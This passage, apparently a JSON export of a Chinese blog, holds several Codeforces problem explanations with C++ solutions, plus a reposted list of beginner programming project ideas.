%d\",\u0026u,\u0026v); 48 edge[u].push_back(v); 49 edge[v].push_back(u); 50 deg[u]++; 51 deg[v]++; //记录下度..比用.size()然后再去找边高明的多。。因为并不需要知道到底删了哪条边。 52 } 53 54 bool flag; 55 int ans = 0 ; 56 while (1) 57 { 58 flag = false; 59 int tmp[N]; 60 memcpy(tmp,deg,sizeof(deg)); //因为是先训斥，把当前所有的训斥完再一起T出去。 61 for ( int i = 1 ; i \u003c= n ; i++) 62 { 63 if (deg[i]==1) 64 { 65 flag = true; 66 tmp[i]--; 67 for ( int j = 0 ; j \u003c edge[i].size(); j++) 68 { 69 int to = edge[i][j]; 70 tmp[to]--; //不需要知道断了和谁的联系，只需要知道连接的数目少了1就好了。 71 } 72 73 } 74 } 75 if (!flag) break; 76 memcpy(deg,tmp,sizeof(tmp)); 77 ","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf129b/","section":"Posts","summary":"http://codeforces.com/contest/129/problem/B 题意：n个点。m条边。每一次会将图中度为1的点加入到等待队列中。然后一起删掉，记为一次操作。当删掉一个点的时候，与它相连的边也全部删掉。问一共做进行多少次操作。使得图中不再有度为1的点。 思路：重点是用开一个数组deg[i]记录点i的度。这样比用.size()高明太多。。因为我们并不需要知道具体删了哪条边。我们只要知道与点i相连的点的边数因为点i被删除而减少了1.","tags":["图论"],"title":"codeforces 129 B. Students and Shoelaces","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/580/problem/C 题意：给出一棵树。每个叶子节点上有一个饭店。某些节点上有cat.现在问从根节点出发可以到达多少个饭店，保证在到达饭店的路径中补连续遇到m个以上的cat. 思路：建图，然后dfs..判断为叶子节点（饭店）的方法是某个点的叶子节点数为0. 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月05日 星期六 10时17分01秒 4File Name :580C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34 35int m,n; 36bool vis[N]; 37vector\u003cint\u003eedge[N]; 38int hascat[N]; 39int ans; 40 41void dfs( int cur,int num) 42{ 43 vis[cur] = true; 44 if (hascat[cur]) 45 num++; 46 else num = 0 ; 47 48 // cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003c\" num:\"\u003c\u003cnum\u003c\u003cendl; 49 50 if (num\u003em) return; 51 52 int leafnum = 0; 53 for ( int i = 0 ; i \u003cedge[cur].size(); i++ ) 54 { 55 int v = edge[cur][i]; 56// cout\u003c\u003c\"cur:\"\u003c\u003ccur\u003c\u003c\" v:\"\u003c\u003cv\u003c\u003cendl; 57 if (!vis[v]) 58 { 59 dfs(v,num); 60 leafnum++; 61 } 62 } 63 if (leafnum==0) ans++; 64 65} 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in.txt\",\"r\",stdin); 70 #endif 71 ms(vis,false); 72 ms(hascat,0); 73 scanf(\"%d %d\",\u0026n,\u0026m); 74 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026hascat[i]); 75 for ( int i = 1 ; i \u003c= n-1 ; i++) 76 { 77 int u,v; 78 scanf(\"%d %d\",\u0026u,\u0026v); 79 edge[u].push_back(v); 80 edge[v].push_back(u); 81 } 82 83 ans = 0 ; 84 dfs(1,0); 85 printf(\"%d\\n\",ans); 86 8","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf580c/","section":"Posts","summary":"http://codeforces.com/contest/580/problem/C 题意：给出一棵树。每个叶子节点上有一个饭店。某些节点上有cat.现在问从根节点出发可以到达多少个饭店，保证在到达饭店的路径中补连续遇到m个以上的cat.","tags":["dfs","tree"],"title":"codeforces 580 C. Kefa and Park","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/115/A 题意：给出n个人之间的上级下级关系。问如何分得最少的组，使得没一组中的人不存在上下级关系。 思路：用树的观点来考虑会很容易。可以看成给了一棵森冷。对于不同的树的相同层的点，不存在上下级关系，可以放在一个group.对于同一棵树，每一层要单独放一个group.所以答案是所有树的深度的最大值。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月04日 星期五 21时31分38秒 4File Name :code/cf/problem/115A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33 34const int N=2E3+7; 35int p[N]; 36int f[N]; 37 38 39int n; 40int ans; 41int main() 42{ 43 #ifndef ONLINE_JUDGE 44 freopen(\"code/in.txt\",\"r\",stdin); 45 #endif 46 47 scanf(\"%d\",\u0026n); 48 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026p[i]); 49 ans = -1; 50 for ( int i = 1 ; i \u003c= n ; i++) 51 { 52 int depth = 1; 53 int id = i; 54 while (p[id]!=-1) 55 { 56 depth++; 57 id = p[id]; 58 } 59 if (depth\u003eans) ans = depth; 60 } 61 printf(\"%d\\n\",ans); 62 63 64 #ifndef ONLINE_JUDGE 65 fclose(stdin); 66 #endif 67 return 0; 68}","date":"2015-12-05","externalUrl":null,"permalink":"/2015/12/cf115a/","section":"Posts","summary":"http://codeforces.com/problemset/problem/115/A 题意：给出n个人之间的上级下级关系。问如何分得最少的组，使得没一组中的人不存在上下级关系。 思路：用树的观点来考虑会很容易。可以看成给了一棵森冷。对于不同的树的相同层的点，不存在上下级关系，可以放在一个group.对于同一棵树，每一层要单独放一个group.所以答案是所有树的深度的最大值。","tags":["dfs","tree"],"title":"codeforces 115A A. Party","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/591/problem/B 题意：给定一个字符串。给出m组替换。对于某一组替换，给出x,y。将字符串中所有的字符x换成y，所有的字符y换成x. 字符串仅包含英文小写字母。 思路： 可以用一个char 到 char 的map 初始映射本身。。 然后进行m次修改。。需要注意的是，每一次修改要修改全部。。因为当进行完i次修改而要进行i+1次修改的时候。。value值为x的可能不止一个。。所以要从a到z都扫一遍。。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月04日 星期五 19时13分12秒 4File Name :code/cf/#327/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34char st[N]; 35 36int n,m; 37char x,y; 38map\u003cchar,char\u003emp; 39 40 41int main() 42{ 43 freopen(\"code/in.txt\",\"r\",stdin); 44 mp.clear(); 45 for ( int i = 0 ; i \u003c 26 ; i++) 46 { 47 char tmp = char(i+97); 48 mp[tmp] = tmp; 49 } 50 51 scanf(\"%d %d\",\u0026n,\u0026m); 52 scanf(\"%s\",st); 53 getchar(); 54 while (m--) 55 { 56 char x,y; 57 scanf(\"%c %c\",\u0026x,\u0026y); 58 getchar(); 59 for ( int i = 0 ; i \u003c 26 ; i ++) 60 { 61 char tmp = char(i+97); 62 if (mp[tmp]==x) mp[tmp]=y; 63 else if (mp[tmp]==y) mp[tmp] = x; 64 } 65 } 66 for ( int i = 0 ; i \u003c n ;i++) 67 { 68 printf(\"%c\",mp[st[i]]); 69 } 70 return 0; 71}","date":"2015-12-04","externalUrl":null,"permalink":"/2015/12/codeforces-327-b-rebranding/","section":"Posts","summary":"http://codeforces.com/contest/591/problem/B 题意：给定一个字符串。给出m组替换。对于某一组替换，给出x,y。将字符串中所有的字符x换成y，所有的字符y换成x. 字符串仅包含英文小写字母。","tags":["字符串"],"title":"codeforces #327 B Rebranding","type":"post"},{"categories":["ACM"],"content":"题意：一个长度为l的走廊。两个人站在两端点。互相向对方发射某种魔法。A的魔法速度为p米/秒，B的魔法速度为q米/s,魔法相遇以后会反射。反射会发射人那里会再次发射。问两种魔法第二次相遇的时候距离A的距离。 思路：由于每种魔法的速度保持肯定不变。。所以不管第几次相遇。相遇点都是同一个。。。ans=p*(p+q)/l; 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月04日 星期五 19时12分56秒 4File Name :code/cf/#327/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33double p,q,l; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003el\u003e\u003ep\u003e\u003eq; 40 double ans; 41 ans = p/(p+q)*l; 42 cout\u003c\u003cans\u003c\u003cendl; 43 44 #ifndef ONLINE_JUDGE 45 fclose(stdin); 46 #endif 47 return 0; 48}","date":"2015-12-04","externalUrl":null,"permalink":"/2015/12/codeforces-327-a-wizards-duel/","section":"Posts","summary":"题意：一个长度为l的走廊。两个人站在两端点。互相向对方发射某种魔法。A的魔法速度为p米/秒，B的魔法速度为q米/s,魔法相遇以后会反射。反射会发射人那里会再次发射。问两种魔法第二次相遇的时候距离A的距离。 思路：由于每种魔法的速度保持肯定不变。。所以不管第几次相遇。相遇点都是同一个。。。ans=p*(p+q)/l;","tags":["math"],"title":"codeforces #327 A. Wizards' Duel","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/598/problem/D 题意：给第一个地图。 ‘.’是能走的，‘’是不能走的。**每个‘.’和’‘之间有一幅画，**给出k个起点，问对于每组起点，最多能观察到多少副画。 思路：dfs.要注意即使只有一个‘*’，从不同方向访问仍然算不同的画。这样就不用标记画是否访问过了。一开始直接暴力dfs..TLE 10 然后发现，如果是在同一个联通快内，能看到的画的最大值是确定的。。如果之前有同一个联通快内的其他点dfs过得到过答案，那么下次就不用再dfs了。。。记得把之前的记过保存下来。。 我具体的写法是把某一次dfs进过的点的恒纵坐标都存起来。。。然后dfs结束后把更新这些沿途中经过的点的答案。。结果还是TLE 10 果然是记忆化写残了。。也不是写残了。。看了几个别人的代码。。。记忆化存的时候是按照某一次来存答案。。而我是按照某个点的坐标。。来存答案。果然还是要提高姿势水平啊。。。SAD 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月04日 星期五 15时08分22秒 4File Name :code/cf/edu1/D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+3; 34int n,m,k; 35char maze[N][N]; 36bool pic[N][N]; 37int v[N][N]; 38int ans[N*N]; 39int res; 40int cnt = 0 ; 41 42bool ok ( int x,int y) 43{ 44 if (x\u003e=0\u0026\u0026x\u003cn\u0026\u0026y\u003e=0\u0026\u0026y\u003cm\u0026\u0026v[x][y]==-1) 45 return true; 46 return false; 47} 48int dfs ( int x,int y,int kk) 49{ 50 if (!ok(x,y)) return 0; 51 52 if (maze[x][y]=='*') return 1; 53 v[x][y] = kk; 54 55 return dfs(x+1,y,kk)+dfs(x-1,y,kk)+dfs(x,y-1,kk)+dfs(x,y+1,kk); 56 57 58} 59int main() 60{ 61 #ifndef ONLINE_JUDGE 62 freopen(\"code/in.txt\",\"r\",stdin); 63 #endif 64 65 scanf(\"%d%d%d\",\u0026n,\u0026m,\u0026k); 66 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%s\",maze[i]); 67 68 ms(ans,-1); 69 ","date":"2015-12-04","externalUrl":null,"permalink":"/2015/12/codeforces-edu1-d-igor-in-the-museum/","section":"Posts","summary":"http://codeforces.com/contest/598/problem/D 题意：给第一个地图。 ‘.’是能走的，‘’是不能走的。**每个‘.’和’‘之间有一幅画，**给出k个起点，问对于每组起点，最多能观察到多少副画。","tags":["dfs","记忆化搜索"],"title":"codeforces edu1 D. Igor In the Museum","type":"post"},{"categories":["ACM"],"content":"题意：给一个字符串（1E4），然后给m次操作（m\u003c=300），每次操作是给定一个区间l,r，然后进行k次（k\u003c=1E6）cyclic shift (rotation) 变换。 One operation of a cyclic shift (rotation) is equivalent to moving the last character to the position of the first character and shifting all other characters one position to the right. For example, if the string s is abacaba and the query is _l_1 = 3, _r_1 = 6, _k_1 = 1 then the answer is abbacaa. If after that we would process the query _l_2 = 1, _r_2 = 4, _k_2 = 2 then we would get the string baabcaa. 简单的说。。就是把最后一位移动到第一位，其他位依次往后。 很容易想到，对于一个长度为len的字符串。进行i次变换和进行（i+len）次变换是等价的。 然后直接暴力搞。 offset为偏移量。对于位置i的偏移量为（i-l+len-k）%len,len为每次操作区间的长度。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月04日 星期五 14时24分56秒 4File Name :code/cf/edu/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34 35char st[N]; 36int len; 37int m; 38int l,r,k; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 45 scanf(\"%s\",st); 46 scanf(\"%d\",\u0026m); 47 while (m--) 48 { 49 scanf(\"%d %d %d\",\u0026l,\u0026r,\u0026k); 50 l--; 51 r--; //强行让下标从0开始。。。处理起来方便 52 int len = r-l+1; 53 k = k % len; 54 char tmp[N]; 55 56 for ( int i = l ; i \u003c= r ; i++) 57 { 58 int offset = (i-l+len-k)%len; 59 tmp[i] = s","date":"2015-12-04","externalUrl":null,"permalink":"/2015/12/codeforces-edu1-b-queries-on-a-string/","section":"Posts","summary":"题意：给一个字符串（1E4），然后给m次操作（m\u003c=300），每次操作是给定一个区间l,r，然后进行k次（k\u003c=1E6）cyclic shift (rotation) 变换。","tags":["字符串"],"title":"codeforces edu1 B Queries on a String","type":"post"},{"categories":["ACM"],"content":"题意：求1+2+..+n的和。。但是对于是2的整数幂的项数。。符号是-。。 思路：可以先当做正数。(n+1)*n/2; 然后减去二倍的2的整数次幂的项的和。 坑点： 妈蛋第三次了。。。我想求小于等于n的最大是2的几次幂。。。取整的时候用int又会迷之错误。。。为什么说是迷之错误。。因为我WA的点的数据拿下来在本地跑是没有问题的。。。一交上去就错。。。不明觉厉。。。下次遇到double类型是数一点要小心小心再小心。。。第一次遇到是pow的返回类型是double，然后答案莫名奇妙的差1.第二次是#334 div2 的A题。。一道傻逼算分数的题我WA了一个小时。。。第三次是这个。。向下取整不要用（int）的强制转换。。而用floor吧。。233 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月03日 星期四 16时46分46秒 4File Name :code/cf/edu/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL n; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 int T; 41 scanf(\"%d\",\u0026T); 42 while (T--) 43 { 44 LL sum = 0 ; 45 cin\u003e\u003en; 46 LL k = LL(floor(log(n)/log(2))); 47 // cout\u003c\u003c\"k:\"\u003c\u003ck\u003c\u003cendl; 48 k =(1\u003c\u003c(k+1))-1; 49 // cout\u003c\u003c\"kk:\"\u003c\u003ck\u003c\u003cendl; 50 sum = sum-2*k; 51 // cout\u003c\u003c\"sum:\"\u003c\u003csum\u003c\u003cendl; 52 s`um = sum + (n+1)*n/2; 53 cout\u003c\u003csum\u003c\u003cendl; 54 } 55 56 #ifndef ONLINE_JUDGE 57 fclose(stdin); 58 #endif 59 return 0; 60}","date":"2015-12-04","externalUrl":null,"permalink":"/2015/12/codeforces-edu-1-a-tricky-sum/","section":"Posts","summary":"题意：求1+2+..+n的和。。但是对于是2的整数幂的项数。。符号是-。。","tags":["算法竞赛"],"title":"codeforces #edu 1 A tricky sum","type":"post"},{"categories":["ACM"],"content":"我经常看有人发帖问关于项目点子的事，也看到了很多回帖，我自己也回了一些常见的项目。不过我觉得只列出三两个是远远不够的，因此就收集并这个项目列表，大家要找简单的编程项目学习练手的话，可以收藏并扩散本文。这些项目并不是论文级别的，只是想抛砖引玉让大家能从中受些启发。 下面你们会看到 120 多个个项目构思，都是我通过头脑风暴得来的。我将其根据主题分成了10 个分类，但有些项目其实涵盖了不止一个主题。 更新：如果你喜欢这些构思的话，你也可以读一下我做的电子书（伯乐在线注：需梯子）。该书有100多页，包含了200个构思，有很多有用的内容和链接。每个构思都包含一个难度评分，实现该构思的提示以及复杂版的构思。要比下面这些更有深度。另外也请大家阅读下我的另一本书《编码生存手册：习惯和陷阱》，免费的哟。 文本操作 逆转字符串——输入一个字符串，将其逆转并输出。 拉丁猪文字游戏——这是一个英语语言游戏。基本规则是将一个英语单词的第一个辅音音素的字母移动到词尾并且加上后缀-ay（譬如“banana”会变成“anana-bay”）。可以在维基百科上了解更多内容。 统计元音字母——输入一个字符串，统计处其中元音字母的数量。更复杂点的话统计出每个元音字母的数量。 判断是否为回文——判断用户输入的字符串是否为回文。回文是指正反拼写形式都是一样的词，譬如“racecar”。 统计字符串中的单词数目——统计字符串中单词的数目，更复杂的话从一个文本中读出字符串并生成单词数目统计结果。 文本编辑器——记事本类型的应用，可以打开、编辑、保存文本文档。可以增加单词高亮和其它的一些特性。 RSS源创建器——可以从其它来源读取文本并将其以RSS或者Atom的格式发布出去。 实时股价——可以查询股票当前价格。用户可以设定数据刷新频率，程序会用绿色和红色的箭头表示股价走势。 访客留言簿/日志——允许人们添加评论或者日记，可以设置开启/关闭评论，并且可以记录下每一条目的时间。也可以做成喊话器。 新闻和比分播报器——一个桌面应用，可以从网上收集新闻和比赛分数，将结果在屏幕上滚动播出。 占星罗盘——用占星术来预测每天的运程。 密码短信——可以将数据加密解密，并能将其发送给朋友。 帮你挑礼物——输入一堆你可能会送的礼物，当有人过生日时，该程序会随机选择一样礼物。也可以加上一个额外功能，可以告知哪里可以弄到这个礼物。 HTML生成器——将 TEXT 文档转换成HTML文件，对制作网页HTML文档很有用。 CD-Key生成器——利用某种算法生成一个唯一的key。软件开发者可以用它来作为软件的激活器。 正则表达式查询工具——用户可以输入一段文本，在另外的控件里输入一个正则表达式。运行以后会返回匹配的内容或者正则表达式中的错误。 网络 FTP工具——与远程网络服务器交互文件。 原子钟校时——从网上同步原子钟时间。全世界有很多原子钟，可以把它们都列出来。 聊天应用（IRC或者MSN风格的）——像IRC那样的聊天室软件或者MSN那样的实时聊天软件。更复杂一点的话，可以为聊天制定一套你自己的传输协议。 获取当前天气——获取某个地区当前的天气情况。 P2P文件共享应用——像LimeWire、FrostWire、Bearshare或者torrent风格的应用。 端口扫描器——输入某个ip地址和端口区间，程序会逐个尝试区间内的端口，如果能成功连接的话就将该端口标记为open。 邮件检查工具（POP3/IMAP）——用户输入一些账号信息，包括服务器、ip、协议类型（POP3或者IMAP），应用每隔一段时间就会检查下该账号下的邮箱。 数据包嗅探器——侦测电脑上进出的数据包，获取诸如目的地和大小之类的信息。 IP注册地查询——输入ip地址，查询该ip是在哪注册的。 Whois查询工具——输入一个ip或者主机地址，通过whois查询并将结果返回。 邮编查询——输入邮编，返回使用该邮编的地区名称。 远程登入——远程登入桌面类型的应用，可以查看和控制远程电脑（假如你已经获得权限）。可能需要你自己的网络和两台电脑来进行测试。 网站定时检查器——每隔一段时间或者在预定的时间尝试连接某个网站或者服务器，来检查它是否可以连上，如果连不上了会通过邮件或者桌面通知来告知你。 小型网页服务器——简易版的网页服务器，可以存放包含Java","date":"2015-12-03","externalUrl":null,"permalink":"/2015/12/%e6%9c%89%e4%ba%86%e8%bf%99%e4%b8%aa%e5%88%97%e8%a1%a8%ef%bc%8c%e7%a8%8b%e5%ba%8f%e5%91%98%e4%b8%8d%e6%84%81%e6%b2%a1%e7%bb%83%e6%89%8b%e7%9a%84%e5%b0%8f%e9%a1%b9%e7%9b%ae%e4%ba%86/","section":"Posts","summary":"我经常看有人发帖问关于项目点子的事，也看到了很多回帖，我自己也回了一些常见的项目。不过我觉得只列出三两个是远远不够的，因此就收集并这个项目列表，大家要找简单的编程项目学习练手的话，可以收藏并扩散本文。这些项目并不是论文级别的，只是想抛砖引玉让大家能从中受些启发。","tags":["算法竞赛"],"title":"有了这个列表，程序员不愁没练手的小项目了","type":"post"},{"categories":["其他"],"content":"题意：给定一个01串。要进行一次变换：选一段连续的非空的字串，将这段串的0和1反转（0变成1,1变成0） 然后问能得到的最长的0,1交替的序列的长度是多少（不一定连续） 比赛的时候想出来两种会将答案增加的可能情况。一种是10000001 中间有大于等于3个的连续字符，这样可以把中间反转一下，答案会+2 另外一种是 1001001 这样。。有至少两段的连续两个以上的相同字符被另一个字符隔开的情况。只要将1001001变成1010101。答案还是会+2。。。然后发现这两种情况实际上可以统一起来。即：有至少两段的连续相同字符。 注意000 也算有两段。 如果有两段或者以上，那么答案+2. 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月02日 星期三 00时36分47秒 4File Name :code/cf/#334/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34char a[N]; 35int n; 36 37char tow(char ch) 38{ 39 if (ch=='0') return '1'; 40 if (ch=='1') return '0'; 41} 42int main() 43{ 44 #ifndef ONLINE_JUDGE 45 freopen(\"code/in.txt\",\"r\",stdin); 46 #endif 47 48 scanf(\"%d\",\u0026n); 49 scanf(\"%s\",a); 50 int cnt = 0; 51 for ( int i = 0 ; i \u003c n-1 ; i++) 52 if (a[i]==a[i+1]) 53 cnt++; 54 55 if (cnt\u003e=2) cnt = 2; 56 57 char tar = a[0]; 58 tar = tow(tar); 59 int ans = 1; 60 for ( int i = 1 ; i \u003c n ; i++ ) 61 { 62// printf(\"%d %c\\n\",i,tar); 63 if (a[i]==tar) 64 { 65 ans++; 66 tar = tow(tar); 67 } 68 } 69 70 printf(\"%d\\n\",ans+cnt); 71 72 73 #ifndef ONLINE_JUDGE 74 fclose(stdin); 75 #endif 76 return 0; 77}","date":"2015-12-02","externalUrl":null,"permalink":"/2015/12/codeforces-334-div-2-c-alternative-thinking/","section":"Posts","summary":"题意：给定一个01串。要进行一次变换：选一段连续的非空的字串，将这段串的0和1反转（0变成1,1变成0） 然后问能得到的最长的0,1交替的序列的长度是多少（不一定连续）","tags":["算法竞赛"],"title":"codeforces #334 div 2 C. Alternative Thinking","type":"post"},{"categories":["ACM"],"content":"题意是说。给n个balls,k个箱子。保证（n\u003c=2*k） 一个箱子中中最多放两个balls，size为两个balls的size之和。 所有的箱子的size都要一样。 问size最小是多少。 只要让最大的size尽可能小即可。 容易想到一组贪心策略。 可以先看有几个多出来的位置 （2*k-n） 然后把最大的几个size的ball装在多余的位置里。。更新答案。 然后对于剩下的。。。最小的和最大的一组状进去。。。扫一遍更新答案。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月02日 星期三 00时00分22秒 4File Name :code/cf/#334/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n,k; 35int s[N]; 36int a[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ms(s,0); 43 ms(a,0); 44 scanf(\"%d %d\",\u0026n,\u0026k); 45 for ( int i = 1 ; i \u003c= n ; i++) 46 scanf(\"%d\",\u0026s[i]); 47 int duoyu = k*2-n; 48// cout\u003c\u003c\"duoyu:\"\u003c\u003cduoyu\u003c\u003cendl; 49 int nn = n - duoyu; 50// cout\u003c\u003c\"nn:\"\u003c\u003cnn\u003c\u003cendl; 51 int ans = -1; 52 for ( int i = nn+1 ; i \u003c= n;i++) ans = max(ans,s[i]); 53 for ( int i = 1 ; i \u003c= nn/2 ; i++) 54 { 55 ans = max(ans,s[i]+s[nn-i+1]); 56// cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" \"\u003c\u003cs[i]\u003c\u003cendl; 57// cout\u003c\u003c\"nn-i+1\"\u003c\u003cnn-i+1\u003c\u003c\" s[nn-i+1]:\"\u003c\u003cs[nn-i+1]\u003c\u003cendl; 58 } 59 cout\u003c\u003cans\u003c\u003cendl; 60 61 62 #ifndef ONLINE_JUDGE 63 fclose(stdin); 64 #endif 65 return 0; 66}","date":"2015-12-02","externalUrl":null,"permalink":"/2015/12/codeforces-334-div-2-b-more-cowbell/","section":"Posts","summary":"题意是说。给n个balls,k个箱子。保证（n\u003c=2*k） 一个箱子中中最多放两个balls，size为两个balls的size之和。 所有的箱子的size都要一样。 